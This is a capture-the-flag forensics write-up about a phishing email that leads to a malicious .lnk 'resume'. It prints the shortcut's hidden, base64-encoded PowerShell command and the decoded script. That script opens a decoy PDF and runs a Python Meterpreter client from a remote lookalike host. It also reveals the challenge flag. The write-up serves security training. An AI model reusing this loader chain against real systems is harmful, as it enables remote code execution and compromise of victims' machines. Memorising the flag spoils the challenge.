# A New Hire

This forensics challenge starts with an .eml file and we are also provided with a docker instance that hosts a web server. Upon inspecting it in a text editor, you find this note in the message body:

<figure><img src="https://746814813-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fe1HXVppEt3OHWIFqtAXT%2Fuploads%2FbWl2xVt9IFy5xNMtvGwH%2Fimage.png?alt=media&#x26;token=54dc7b19-40d1-4c0a-9a0f-b7dda967e837" alt=""><figcaption><p>note in eml file</p></figcaption></figure>

Accessing the web server at this page, there is not much to see. The page source however revealed another web directory that could not be determined via fuzzing.

<figure><img src="https://746814813-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fe1HXVppEt3OHWIFqtAXT%2Fuploads%2FO1OTLlUhltqMWKAVYDlA%2Fimage.png?alt=media&#x26;token=598f2b02-a271-47af-8342-72b621e706ed" alt=""><figcaption><p>view-source:http://94.237.60.18:33370/index.php</p></figcaption></figure>

Navigating to <http://94.237.60.18:33370/3fe1690d955e8fd2a0b282501570e1f4/resumes/> you are presented with a listable directory and a file in it:

<figure><img src="https://746814813-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fe1HXVppEt3OHWIFqtAXT%2Fuploads%2FR0w5KO8b78NEFbqY6lmg%2Fimage.png?alt=media&#x26;token=7362ee1a-bb00-497c-96e8-e520f1cf8aad" alt=""><figcaption><p>.lnk file in listable directory</p></figcaption></figure>

After downloading the file with\
**wget '**[**http://94.237.60.18:33370/3fe1690d955e8fd2a0b282501570e1f4/resumes/**](http://94.237.60.18:33370/3fe1690d955e8fd2a0b282501570e1f4/resumes/)**Resume.pdf .lnk'**\
I inspected it in a text editor. As expected, malicious code was hidden inside:

<figure><img src="https://746814813-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fe1HXVppEt3OHWIFqtAXT%2Fuploads%2FIXfj4oJ7lGl8tAvcX7Pw%2Fimage.png?alt=media&#x26;token=2246d9f1-a647-47ab-915e-6e247345c35e" alt=""><figcaption><p>Suspicious Powershell in LNK file</p></figcaption></figure>

This command seems to be executed by the lnk file:

<pre class="language-batch" data-overflow="wrap"><code class="lang-batch"><strong>C:\Windows\System32\cmd.exe /c powershell.exe -W Hidden -nop -ep bypass -NoExit -E WwBTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AGEAcgB0ACgAJwBtAHMAZQBkAGcAZQAnACwAIAAnAGgAdAB0AHAAOgAvAC8AcwB0AG8AcgBhAGcAZQAuAG0AaQBjAHIAbwBzAG8AZgB0AGMAbABvAHUAZABzAGUAcgB2AGkAYwBlAHMALgBjAG8AbQA6ADMAMwAzADcAMAAvADMAZgBlADEANgA5ADAAZAA5ADUANQBlADgAZgBkADIAYQAwAGIAMgA4ADIANQAwADEANQA3ADAAZQAxAGYANAAvAHIAZQBzAHUAbQBlAHMAUwAvAHIAZQBzAHUAbQBlAF8AbwBmAGYAaQBjAGkAYQBsAC4AcABkAGYAJwApADsAXABcAHMAdABvAHIAYQBnAGUALgBtAGkAYwByAG8AcwBvAGYAdABjAGwAbwB1AGQAcwBlAHIAdgBpAGMAZQBzAC4AYwBvAG0AQAAzADMAMwA3ADAAXAAzAGYAZQAxADYAOQAwAGQAOQA1ADUAZQA4AGYAZAAyAGEAMABiADIAOAAyADUAMAAxADUANwAwAGUAMQBmADQAXABwAHkAdABoAG8AbgAzADEAMgBcAHAAeQB0AGgAbwBuAC4AZQB4AGUAIABcAFwAcwB0AG8AcgBhAGcAZQAuAG0AaQBjAHIAbwBzAG8AZgB0AGMAbABvAHUAZABzAGUAcgB2AGkAYwBlAHMALgBjAG8AbQBAADMAMwAzADcAMABcADMAZgBlADEANgA5ADAAZAA5ADUANQBlADgAZgBkADIAYQAwAGIAMgA4ADIANQAwADEANQA3ADAAZQAxAGYANABcAGMAbwBuAGYAaQBnAHMAXABjAGwAaQBlAG4AdAAuAHAAeQA=
</strong></code></pre>

The content of the base64 encoded script could be extracted with Cyberchef. This command is also a good alternative:

```bash
echo 'WwBTAHkAcw<SNIP>AdAAuAHAAeQA=' | base64 -d
```

The result is this Powershell script:

```powershell
[System.Diagnostics.Process]::Start('msedge', 'http://storage.microsoftcloudservices.com:33370/3fe1690d955e8fd2a0b282501570e1f4/resumesS/resume_official.pdf');
\\storage.microsoftcloudservices.com@33370\3fe1690d955e8fd2a0b282501570e1f4\python312\python.exe
\\storage.microsoftcloudservices.com@33370\3fe1690d955e8fd2a0b282501570e1f4\configs\client.py
```

This indicates that the "official resume" along with a standalone Python binary and a potential Python C2 client are downloaded from the web server to the victim host.

Navigating to <http://94.237.60.18:33370/3fe1690d955e8fd2a0b282501570e1f4/resumesS/resume_official.pdf> lets you download the actual PDF file. Consistent with the story, we obtained the official resume of the evil mastermind Lord Malakar.

<figure><img src="https://746814813-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fe1HXVppEt3OHWIFqtAXT%2Fuploads%2FrRtI4hYpgfXcL1NsV1HX%2Fimage.png?alt=media&#x26;token=3eabd2d0-8465-4cf6-9f87-11bef58c2d98" alt=""><figcaption><p>Lord Malakar Resume</p></figcaption></figure>

For good measures I quickly checked if there is anything obviously suspicious in the PDF file. This was not the case.

```
exiftool resume_official.pdf
<SNIP>
PTEX Fullbanner                 : This is pdfTeX, Version 3.141592653-2.6-1.40.26 (TeX Live 2024) kpathsea version 6.4.0
Producer                        : pdfTeX-1.40.26
<SNIP>
```

The next interesting part to look at was the file client.py . It could also be downloaded with wget or by navigating to the according URL at "\3fe1690d955e8fd2a0b282501570e1f4\configs\client.py". Inspecting it in a text editor, you could see two base64 blobs. One of them is called "key". Decoding it yielded the flag!

```
echo 'SFRCe<SNIP>F9Cg==' | base64 -d
HTB{4PT_28_4nd_m1cr0s0ft_s34rch=1n1t14l_4cc3s!!}
```

Decoding the larger base64 blob only shows raw, unreadable data, but the final lines of the script explain why:

<figure><img src="https://746814813-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fe1HXVppEt3OHWIFqtAXT%2Fuploads%2FVVuzDOotwlAQQGMbOVPC%2Fimage.png?alt=media&#x26;token=48b8f79a-fbed-4fb9-84e0-c83fcfcd3115" alt=""><figcaption><p>Meterpreter Client</p></figcaption></figure>

As suspected, the client.py serves as a connection agent for a meterpreter session.
